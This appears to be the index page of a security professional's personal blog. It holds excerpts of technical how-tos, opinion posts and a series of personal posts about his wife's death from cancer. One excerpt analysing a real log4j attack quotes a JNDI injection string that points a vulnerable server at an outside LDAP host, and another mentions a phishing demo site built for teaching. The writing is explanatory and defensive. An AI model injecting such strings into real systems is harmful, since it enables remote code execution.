Recent content on Jason Murray

 Jason Murray is the Senior Director of Information Security at Washington University in St. Louis, where he leads the teams responsible for incident response, vulnerability management, ethical hacking, and security engineering. 
 He has spent his career designing and maintaining complex systems across startups, Internet service providers, higher education, and healthcare, giving him a…
I’ve been a loyal Google customer for years. I have Google Nest Audio speakers in nearly every room of my house — six of them, all in Charcoal , carefully matched so everything looks clean and consistent. I’m the kind of customer Google should want to keep. 
 I am no longer that customer. 
 What started as a simple warranty replacement request turned into nine months of broken…
Last Updated: March 29, 2026 
 Family 
 
 Supporting my kids as they pursue their studies in college. 
 
 Personal Life 
 
 Living in city. 
 Exploring the world. 
 Finding my people. 
 Creating new experiences. 
 Loving Life. 
 
 Work 
 I am the Senior Director of Incident Response, Vulnerability Management, Ethical Hacking, and Security…
Overview 
 When troubleshooting Linux services, I kept running into the same issue: I could inspect a single process, but there wasn’t a clean way to track that process plus all children and sub-children over time in one focused workflow. 
 That gap is what this project is built to solve. 
 GitHub: https://github.com/0xJasonMurray/process-resource-tracker 
 The Details 
…
Using uv ( https://docs.astral.sh/uv/ ) to create and manage python projects, code bases, and virtual environments: 
 Install uv software on a mac: 
 brew install uv
 Creating the first project: 
 uv init uvdemoproject
 Output: 
 Initialized project `uvdemoproject` at `/Users/jemurray/Documents/src/personalPython/uvdemoproject`
 Edit code: 
 cd uvdemoproject
vi…

 2026 Public Photos 
 2025 Public Photos 
 
 Why? 
 Q: Why not use Facebook, Instagram, or some other social media? 
 A: The Internet was designed to be an open platform. These walled gardens do not allow user choice and freedoms. In addition, I can no longer support the companies that turn and blind eye to the harm they do to their users.
It was finally time to upgrade the old Debian 10 webserver to something more modern. This time I wanted to keep everything as stock and simple as possible. 
 I created a new Digital Ocean dropplet and enabled IPv6. 
 Logged into the new system: 
 ssh jasonmurray.org
 Make sure the system is up to date: 
 sudo apt update && sudo apt upgrade && sudo reboot
 Enabled IPv6:…
The problem: 
 
 Gut feelings and assumptions often fool us. 
 
 The fix: 
 
 The scientific method gives us a repeatable way to test ideas, find truth, and avoid bias. 
 
 How: 
 
 Ask: Start with a clear question. 
 Guess: Make a testable prediction. 
 Test: Run a fair experiment. 
 See: Gather and measure results. 
 Decide: Compare results…
I’m truly sorry for the behavior of the American President Donald Trump. Myself and the majority of American’s didn’t vote for him nor do we support him. 
 I would like to apologize on behalf of all Americans who believe in a kinder world. 
 This is not it. 
 We don’t support Donald Trump.
I deactivated Facebook.
Jason Murray can be reached at the following locations. 
 Email 
 For asynchronous communication, please use the email address: 
 web2025@zweck.net 
 Social 
 
 I’ve stopped using all social media due to the impact it has on people’s social wellbeing. Send me an email if you don’t have my phone/text number. 
 
 Secure Communication 
 Use the…
During the covid lockdown I challenged myself to write something every day. I thought it would be easy. I thought I would maintain a blog instead of social media like Facebook, X, etc. 
 The reality… 
 Dedicating time to write is hard. Using a content management system like Hugo is hard(er) since it requires intentionally getting out my laptop to do the writing. 
 Someday, I…
One year ago today, our world completely changed. While laying in bed with my dog and a laptop, I look to my right and see the empty spot that Jami used to occupy. 
 I’m am not filled with unbearable sadness, grief, or loss. I am filled with happiness knowing that she helped build this family in a way that allows us to move forward. She said, “You will not use my death as an excuse for bad…
I was out with my friend Katie all day and night last night. I didn’t get a chance to post my 12/2/2023 “What was happening a year ago today”. When I looked at my journal this morning here is what I wrote from 12/2/2022: 
 “Sorry I didn’t write anything today… I am filling in on the 3rd. 
 I read a LOT of messages from Jami’s family and friends. Wow, that is hard. I…
I went out with Katie - I didn’t have time to post anything…
One year ago today, this is the summary I posted to all of my family and friends: 
 Cancer does not behave in ways we expect. Jami and I walked into the hospice care center on Tuesday afternoon. Although she was a bit unsteady and had a bad headache, she walked under her own power. Our goal was to get in, figure out the proper pain medications, and walk out. Our plans changed. The cancer is…
One year ago today I wrote in my journal… “I just want to hear her voice again” 
 Jami does not wake up for more than 30 seconds. For the brief moment she is awake, it is not Jami. She will say a few random words, try to tell us she needs to get out of bed, and then falls right back asleep. She is on 4MG of morphine and a few anti-nausea drugs to keep her comfortable. All day I assumed the…
One year ago today was the biggest turning point in my families lives! 
 No matter what combination of drugs we gave Jami she could not make the pain and nausea go away. We have now been up for days with her puking nearly every hour. (Interesting fact: Over the past 24 hours, I clocked over 9000 steps walking in the house to care for Jami). Jami can’t take it anymore and I called hospice…
Warning bad language as well as sad and raw topics in this post… You may want to pass on reading my posts this week. 
 It seemed fitting that I stay up way past my bed time to write this next post. Tonight I will be a bit sleep deprived, but it relates to the way I felt a year ago today. 
 Jami (and by proxy myself) didn’t sleep for more then 1 hour that night (11/28/22).…
If you don’t want to be sad, I suggest you don’t read my posts for the next week. I’m going to take you on a behind the scenes journey of taking care of someone with cancer in the last week of their lives. Don’t worry, it won’t be too graphic, but this helps me share with the world (my friends) what this journey is like. 
 I’ve journaled extensively since…
Overview 
 Converting an IP address into a physical location can greatly enhance an Incident Responder’s decision-making process. It enables them to identify patterns or eliminate irrelevant data by focusing on specific countries. With the use of the |iplocate command in Splunk, what was once considered a complex and specialized skill becomes a straightforward task. 
 Technical…
We met in February of 1996 through our mutual friend Andrea. At the time I was a junior at Saginaw Valley State University and working full time at Concentric Network as a Unix systems administrator. Jami attended the same college, but worked at the Home Depot. She had recently moved to Freeland from Alpena and lived with her parents. 
 Andrea and I had been good friends since freshman year of…
Overview 
 Too many services still do not support HEIC formatted images. Install ImageMagick and run this command to convert them all. 
 Technical Details 
 Add this to your ~/.bash_profile so that we don’t have to memorize all the options: 
 alias convertallheic='for f in *.HEIC *.heic; do magick '$f' -quality 100% '$f.jpg'; done'
 Source the file to load it. You…

 Today would have been our 24th wedding anniversary. 
 It’s not quite the same without you. 
 We were young when we got married. I was 23, Jami was 21. We had a lot of friends who said that is too young and we would never make it. Well, we made it until “death do us part” - I would say that is “forever”. 
 We talked about marriage a few years after…
I asked Jami to talk with and write a letter to our kids that states, “Death is not an excuse for failure or bad behavior…” - This is an excerpt from her journal: 
 
 Embrace your new life - say things like Mom would be proud, or Mom was funny, or Mom could be annoying when she bugged me about my friends, or Mom would not want me to do this, or what would Mom think? All…
Obituary 
 
 With heavy hearts, we announce the death of Jami Marie Murray, who
passed away from metastatic breast cancer. The day she finally freed
herself from cancer was the day Jesus welcomed her into heaven. She was
45 years old. 
 Jami was born on October 17, 1977 and raised in Alpena, Michigan. She
credits her amazing parents, John and Karen, for her faithful,…
After 24 years of marriage, two amazing kids, and more memories than we can count… 
 Jami passed away on December 4, 2022 at 10:25PM 

Today’s update is coming out early because I don’t know how much more time we have left. 
 How’s Jami Doing 
 
 Jami continues to decline quickly. 
 We are probably in the hours to days time range. 
 She is not moving anymore. 
 Fluid is building up in her lungs, but it is manageable. 
 Early this morning her breathing was labored and heavy. 
 This…
Today was a weepy day for me. Telling stories with family and friends, reading your messages, and spending time thinking about all the great memories we made as a family. I love you Jami. 
 How’s Jami Doing 
 
 I don’t have much to report, nothing major has changed. 
 She is surrounded by family and friends. 
 The medical staff is increasing the medications to keep…
Today we gathered our family and spent time with Jami. We told stories, laughed, hugged, and cried. 
 I’ve asked you all to send me stories that I could read to Jami and you answered. I’ve been reading to her for hours. Some short, some long, some detailed, some to the point. All made me cry. 
 How’s Jami Doing 
 
 She is comfortable. 
 She is surrounded by…
I have the privilege of reading the messages each of you sent to Jami. Yes, this is a privilege! It is hard. I pause a lot. I cry a lot. But I power through because I know she wants to hear them! 
 What Have I Learned: 
 
 Jami’s impact on you all is overwhelming! 
 She has touched many people in a variety of ways, but they all have a common theme, “ Jami’s…
Cancer does not behave in ways we expect. 
 Jami and I walked into the hospice care center on Tuesday afternoon. Although she was a bit unsteady and had a bad headache, she walked under her own power. Our goal was to get in, figure out the proper pain medications, and walk out. 
 Our plans changed. 
 The cancer is progressing fast. Much faster then I expected. 
 How’s Jami…
I’ve created this website (also an email list) to keep Jami’s family and friends updated on what is happening. My intention is to send regular updates, but the exact format is still a work in progress. 
 This is the first post, buckle up, it will be a long one. 
 Getting Everyone Up to Speed: Since there are quite a few people to update, I need to level set first to make sure…
Scooby-Doo 
 
 
 

 Reflection 
 
 

Overview 
 I’m teaching a class about Phishing. My goal is to explain with a real world example how inexpensive, easy to setup, and tricky it is tell a legitimate site from the real thing. To replicate the phishing site I bought a cheap domain, rented a VPS hosting server, setup DNS, and finally configured a phishing website using Evilginx2 . 
 Within 6 minutes of getting the site up…
Overview 
 In addition to a variety of servers running critical Internet services, understanding the desktop environment is another core part of my home lab. In this guide, we will go over what it takes to install a Windows 11 development environment on a Proxmox virtualization server. 
 Details 
 Assumptions and Environment 
 
 This guide assumes there is a working Proxmox…
Overview 
 Detecting malicious activity on your organizations network is critical to find and track down compromised or rogue devices. Dedicated Opencanary honeypot servers scattered throughout the network can quickly detect and alert when any device interrogates it’s services. 
 Assumptions and Environment 
 
 Dedicated SFF computers (NUC, Raspberry PI’s, etc.) 
…
Overview 
 I’ve replaced all my home lab VMware hypervisors with Proxmox. While we use vmware at work, and gaining experience in this environment is good. I’ve found the “free” tier of vmware for a home lab limiting and difficult to manage. Proxmox has been a pleasure to use, does not have hardware resources limits, and is a easy to keep updated. 
 Technical Details…
I want to search for Infoblox subnets in Splunk using lookup tables like this: 
 |inputlookup infoblox-ipv4-network-export.csv | search | where cidrmatch(CIDR,'128.252.120.128') | table CIDR, address*, netmask*, EA-School, comment, domain_name
 What follows are the steps to export the data from Infoblox, convert the address and netmask to a CIDR block, import the data into a Splunk lookup…
Given a JSON file with TimeStamp values from a Microsoft Office 365 Search History dump: 
 PS /Users/jemurray> Get-Content ./ahg.txt…
Overview 
 I’ve been a user of the Google G-Suite and Gmail products since their initial inception. In 2022 Google announced they will be discontinuing the free version of G-Suite with a custom domain. Users have until June 27, 2022 to migrate to the paid version. I’ve been looking for an excuse to migrate away from Google for a while now. Because of this decision, I’ve moved…
This kid graduated high school Magna Cum Laude! 
 We are proud of all your achievements and look forward to the closing of one chapter and the opening of another. 
 
 It’s time to go forth and do great things.
For those of us who support old hosts with old instances of ssh (quite common on old networking hardware), you may encounter the following errors: 
 jemurray@phalanges:~ $ ssh host1.example.com
Unable to negotiate with 192.168.0.1 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
 jemurray@phalanges:~ $ ssh…
Log files become significantly more helpful when they are properly structured and share common data models with other systems. In this post, I will go over how to send logs from Zeek into Splunk using a CIM compliant data model. 
 But first, it’s important to understand what a CIM compliant data model is. According to Splunk : 
 
 The Splunk Common Information Model (CIM) is a…
Log4j received quite a bit of attention over the past few weeks. The vulnerability is incredibly easy to exploit, requires no human interaction, and has the ability to execute any payload a malicious actor injects. But how does it retrieve the payload? What does the JNDI ${jndi:ldap://185.25.51.48:1389/a} string do? 
 Let’s explore these questions by looking at a real world log4j exploit…
My son received parts to build a custom gaming rig from Santa. The initial build process took a few hours. Installing the Windows operating system took an entire day. 
 TL;DR: Save yourself HOURS of frustration, use the Windows Media Creation Tool ; BalenaEtcher , dd , etc do NOT work. 
 Parts List 
 
 MSI Forge 100R Case 
 MSI B450 Tomahawk Max II Motherboard 
 Ryzen 7…
The standard apps for a default installation of Splunk 8.2.4 are: 
 jemurray@splunk:/opt/splunk$ sudo ./bin/splunk display app
alert_logevent CONFIGURED ENABLED INVISIBLE
alert_webhook CONFIGURED ENABLED INVISIBLE
appsbrowser CONFIGURED ENABLED INVISIBLE
introspection_generator_addon CONFIGURED ENABLED INVISIBLE
journald_input UNCONFIGURED ENABLED INVISIBLE
launcher…
By using the log4j Zeek package CVE-2021-44228 and sending the logs off to Splunk, security analysts can detect successful log4j compromises by alerting on hosts reaching out to log4j payload servers. 
 TL;DR 
 This Splunk one-liner will first query the zeek_log4j.log to determine the log4j payload IP address then take these results and query the zeek_conn.log to find any successful…
A quick start guide to installing Splunk Enterprise on Ubuntu server for a test lab environment. 
 Download the latest version of Splunk Enterprise. At the time of this writing, the latest version is 8.2.4. Check here for the latest: 
 wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb…
Today we celebrate our 23rd anniversary! At 46 years old and 23 years married, I’ve spent half my life with this wonderful person. 
 I love the family we made together. There is no one I would rather spend these years with!